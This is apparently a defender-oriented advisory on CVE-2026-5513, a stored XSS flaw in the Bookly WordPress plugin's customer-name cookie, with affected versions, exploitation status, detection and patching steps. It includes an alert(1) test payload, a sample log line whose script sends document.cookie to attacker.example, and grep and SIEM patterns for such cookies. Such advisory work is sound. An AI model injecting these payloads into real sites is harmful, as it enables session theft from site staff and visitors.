CVE-2026-5513: Stored XSS in Bookly WordPress Plugin
High CVSS (7.2) vulnerability; prioritize internet-facing assets.
TL;DR - Bookly for WordPress has a stored XSS issue in versions
<= 27.2. - Exploitation is unauthenticated but depends on the “Remember personal information in cookies” setting being enabled. - Update to a version newer than27.2, ideally27.7, and check whether the feature is turned on.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-5513 |
| CVSS score | 7.2 |
| Attack vector | Stored cross-site scripting via bookly-customer-full-name cookie |
| Authentication required | No |
| Patch status | Yes, newer versions exist; vulnerable versions are <= 27.2; exact first fixed version was not directly confirmed from retrieved advisory text |
What happened
CVE-2026-5513 is a stored cross-site scripting vulnerability in the Online Scheduling and Appointment Booking System – Bookly plugin for WordPress. According to the NVD description, the flaw affects versions up to and including 27.2 and is caused by insufficient input sanitization and output escaping of the bookly-customer-full-name cookie.
This matters because stored XSS is usually more serious than reflected XSS in day-to-day operations. If attacker-controlled JavaScript is stored and later rendered to another user, the payload can run in the victim’s browser in the context of the affected site. In a WordPress booking workflow, that can expose administrator sessions, alter page content, redirect users, or perform actions as the victim, depending on browser protections and user privileges.
A key condition limits exposure: exploitation requires the Bookly setting “Remember personal information in cookies” to be enabled. The NVD description states that this option is disabled by default. That does not eliminate risk, but it does change prioritization. Teams should assume that only installations where admins deliberately enabled this feature are directly exposed to the described attack path.
Affected versions and fixed version status
The affected product is the Online Scheduling and Appointment Booking System – Bookly plugin for WordPress, published under the Bookly name. The version range directly supported by the available source material is:
- Affected:
<= 27.2 - Current version observed on WordPress.org:
27.7
The exact first fixed version number was not directly recoverable from the advisory sources available in this research session. The WordPress Trac changeset referenced by NVD returned HTTP 403 during retrieval, and the related Wordfence entry content was not available in a form that allowed confirmation of the patch boundary. Because of that, it would be inaccurate to state “fixed in 27.3” or any other specific version without direct evidence.
For defenders, the practical conclusion is still straightforward. If you run Bookly version 27.2 or earlier, treat the instance as vulnerable if the cookie-remembering feature is enabled. Because 27.7 is confirmed to be available on the WordPress plugin page, the safest guidance is to upgrade to the latest available release, rather than trying to target an unconfirmed minimum patch level.
Why this vulnerability matters
The vulnerability is notable for three reasons. First, it is unauthenticated. That lowers the barrier to exploitation because an attacker does not need a valid WordPress or Bookly account to supply the malicious data. Second, it is stored XSS, meaning the payload can persist long enough to affect multiple page views or users. Third, it targets a user-facing workflow that may be exposed on public websites, including SMB booking portals and service businesses.
That said, severity should be interpreted in context. The CVSS score is 7.2, which places it in the high-severity range, but the operational risk depends on whether the optional cookie-based memory feature is enabled. In many environments, admins do enable convenience features without revisiting their security implications, especially on marketing or appointment sites managed by small teams. So while the default configuration helps, it should not be assumed in asset inventories without verification.
Exploitation status
At the time of this write-up, exploitation in the wild is not confirmed from the retrieved sources. The CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, which means there is no CISA confirmation of active exploitation and no associated federal remediation deadline.
Likewise, no public proof of concept (PoC) was confirmed from the source set used here, and no verified GitHub repository or primary-source exploitation write-up was identified during the session. That does not mean exploitation is impossible or unlikely. Stored XSS issues are often straightforward for capable attackers to reproduce once enough implementation detail is known.
In the absence of confirmed exploitation data, defenders should assume the following: if the plugin is internet-facing, the booking form is reachable, and the cookie persistence setting is enabled, this issue is likely reproducible by an attacker with modest web testing capability. That is enough to justify patching on normal change timelines, with accelerated action for high-traffic public sites or admin-heavy workflows.
How the bug works
The NVD description identifies the bookly-customer-full-name cookie as the attack surface. The root cause is a combination of insufficient input sanitization when handling attacker-controlled data and insufficient output escaping when rendering that data into a page later viewed by a user.
In practice, this means an attacker may be able to place JavaScript or HTML event-handler content into the cookie value, and if the plugin later reflects that value into a page without proper contextual escaping, the payload executes in the browser. The impact depends on where and how the value is rendered. If it appears on booking pages viewed by staff, receptionists, or admins, the attacker may gain access to session tokens, trigger unauthorized actions, or manipulate the appointment workflow.
Technical Notes
A simplified example of the dangerous pattern looks like this:
// Unsafe conceptual example
echo $_COOKIE['bookly-customer-full-name'];
A safer pattern would validate and escape output contextually:
// Safer conceptual example
$full_name = isset($_COOKIE['bookly-customer-full-name']) ? sanitize_text_field(wp_unslash($_COOKIE['bookly-customer-full-name'])) : '';
echo esc_html($full_name);
A browser-side test payload often used during validation would resemble this:
Cookie: bookly-customer-full-name="><script>alert(1)</script>
Do not run test payloads against production systems without authorization and change control. Use a staging environment first to verify whether the application stores and later renders the cookie value.
Operational guidance for admins and SMB teams
For most teams, this CVE does not demand incident-mode response unless you already see evidence of suspicious cookie values, odd redirects, unexpected admin actions, or user reports of browser pop-ups on booking pages. However, it should still be treated as a real internet-exposed web application issue because the vulnerability is unauthenticated and affects a public-facing business workflow.
If you manage multiple WordPress sites, prioritize by exposure. Patch internet-facing booking sites first, then lower-traffic or internal staging systems. Confirm whether the vulnerable feature is enabled, because that materially affects risk. If you cannot determine that quickly, proceed as though the vulnerable condition may be present and patch accordingly.
Bottom line
CVE-2026-5513 is a stored XSS flaw in the Bookly WordPress plugin affecting versions up to and including 27.2. The vulnerability is unauthenticated, but exploitation requires the “Remember personal information in cookies” option to be enabled, and NVD says that setting is disabled by default.
There is no confirmed public PoC, no confirmed in-the-wild exploitation, and the CVE is not in CISA KEV based on the retrieved sources. Even so, defenders should not wait for exploitation reports. If you run Bookly on public WordPress sites, verify the setting, inspect logs for suspicious cookie values, and upgrade to a version newer than 27.2, ideally 27.7 or later.
For further information on cybersecurity frameworks, check our article on Cybersecurity Framework and for best practices on SIEM hardening, visit our guide on SIEM Hardening Best Practices.
This article may contain affiliate links. We earn a commission on qualifying purchases at no extra cost to you.
Detection and scoping
Start by identifying all WordPress sites running the Bookly plugin and then validating the installed version. If the version is 27.2 or earlier, the next question is whether “Remember personal information in cookies” is enabled. The NVD description specifically states that exploitation requires this setting. If you cannot quickly verify the configuration, assume potential exposure until an admin confirms otherwise.
You should also review access logs, WAF logs, reverse proxy telemetry, and any plugin-specific security tooling for suspicious cookie content. Because the attack path centers on a cookie value, many detections will come from raw HTTP logging rather than WordPress application logs. Look for script tags, encoded payloads, event handlers, or suspicious delimiters in the Cookie header associated with booking-related paths.
Technical Notes
A basic grep against web logs for suspicious cookie patterns could look like this:
grep -Ei 'bookly-customer-full-name=.*(<script|%3Cscript|onerror=|onload=|javascript:|svg)' /var/log/nginx/access.log
For Apache combined logs stored in a custom format that includes headers, you might search similarly:
grep -Ei 'bookly-customer-full-name=.*(<script|%3Cscript|%22%3E|onmouseover=|alert\\()' /var/log/apache2/*access*.log
A sample suspicious pattern in a request log would be:
Cookie: bookly-customer-full-name="><script>fetch('https://attacker.example/x?c='+document.cookie)</script>
If you use a SIEM that ingests HTTP headers, a generic detection query might be:
http.request.headers.cookie CONTAINS "bookly-customer-full-name="
AND (
http.request.headers.cookie MATCHES "(?i)<script|%3Cscript|onerror=|onload=|javascript:|svg|alert\\("
)
In WordPress itself, you can enumerate the plugin version using WP-CLI:
wp plugin list | grep bookly
If the plugin is not centrally managed, also inspect the plugin directory metadata manually:
grep -R "Version:" wp-content/plugins/bookly-responsive-appointment-booking-tool/ -n
Mitigation and patching
The primary mitigation is to upgrade the Bookly plugin to a version newer than 27.2, ideally the latest available release. Based on the retrieved WordPress plugin page, 27.7 is currently available, so upgrading to that release or whatever newer version is current at deployment time is the defensible recommendation.
If you cannot patch immediately, the most relevant temporary control is to disable the “Remember personal information in cookies” setting if it is enabled. That is especially important because the NVD description explicitly states exploitation depends on that feature. Temporary mitigations are not substitutes for patching, but in this case, they may materially reduce exposure while change windows are scheduled.
A second mitigation layer is to reduce the blast radius of any XSS that slips through. Review whether administrators log into WordPress from the same browser profile used for routine site testing, booking verification, or customer support. Separate admin sessions, enable MFA, and consider a Content Security Policy where feasible. These steps will not fix the vulnerable code path, but they can reduce the impact of successful script execution.
Technical Notes
To update the plugin with WP-CLI:
wp plugin update bookly-responsive-appointment-booking-tool
To verify the installed version after the update:
wp plugin get bookly-responsive-appointment-booking-tool --field=version
If you need to list all plugins and versions before change approval:
wp plugin list
If the plugin was installed manually and not managed via WP-CLI, update it through the WordPress admin dashboard or your deployment pipeline. If emergency mitigation is needed before patching, disable the cookie-memory setting in the Bookly configuration UI. The exact menu path was not confirmed in the retrieved source set, so administrators should verify the setting directly within the plugin’s options and document the change in their ticketing system.
References
- NVD CVE record: https://nvd.nist.gov/vuln/detail/CVE-2026-5513
- CISA KEV catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- WordPress plugin page: https://br.wordpress.org/plugins/bookly-responsive-appointment-booking-tool/
- WordPress plugin author profile: https://profiles.wordpress.org/ladela/
- NVD reference, WordPress Trac changeset: https://plugins.trac.wordpress.org/changeset/3504922/bookly-responsive-appointment-booking-tool
- NVD reference, Wordfence entry: https://www.wordfence.com/threat-intel/vulnerabilities/id/b8ab6dfa-3764-470f-aa49-1964f42d93de?source=cve